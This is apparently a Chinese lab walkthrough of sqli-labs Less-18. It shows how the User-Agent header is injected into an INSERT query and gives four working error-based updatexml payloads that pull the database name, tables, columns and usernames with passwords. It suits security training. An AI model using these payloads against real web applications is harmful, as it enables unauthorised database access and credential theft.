LESS-18 POST - Header Injection -Uagent field - Error based
0x01.
随便测试几个查看有无回显
错误回显和正确回显都是显示IP地址
错误回显:

正确回显:

在正确的回显中可以看见user agent,猜测可以利用进行注入,可以查看源码进行分析。

用户名与密码的获取方式是post,而且采用了check_input处理,所以在这两个地方注入不行,往下看。

发现insert语句,将user-agent以及IP数据插入数据库,可以利用进行注入。 (注意要输入正确的用户名和密码才能绕过用户名密码判断,进入处理user-agent部分)
利用updatexml进行注入
0x02.爆数据库名
'and updatexml(1,concat(0x7e,(database())),0x7e),1)-- #
(注意这里并不是URL而是HTTP头,所以+并不会被转义为(空格),于是末尾的注释符号要变为#)
0x03.爆表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=‘security’)),0x7e),1)-- #

0x04.爆字段名
'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=‘security’ and table_name=‘users’)),0x7e),1)-- #

0x05.爆字段值
'and updatexml(1,concat(0x7e,(select * from(select concat_ws(0x7e,id,username,password)from users limit 0,1)a)),0),",")-- #
改变limit的值获得其他用户名和密码

也可以用extractvalue()注入,还可以使用延时注入,子查询注入,但是不能用布尔盲注,因为无论错误还是正确都只会返回同样的页面。
本文详细介绍了在sqli-labs的Less-18挑战中,如何利用POST请求的User-Agent字段进行Header注入。通过观察错误回显,发现了注入点,并逐步揭示了数据库名、表名、字段名以及字段值,展示了利用updatexml和extractvalue函数进行SQL注入的方法。
1977

被折叠的 条评论
为什么被折叠?



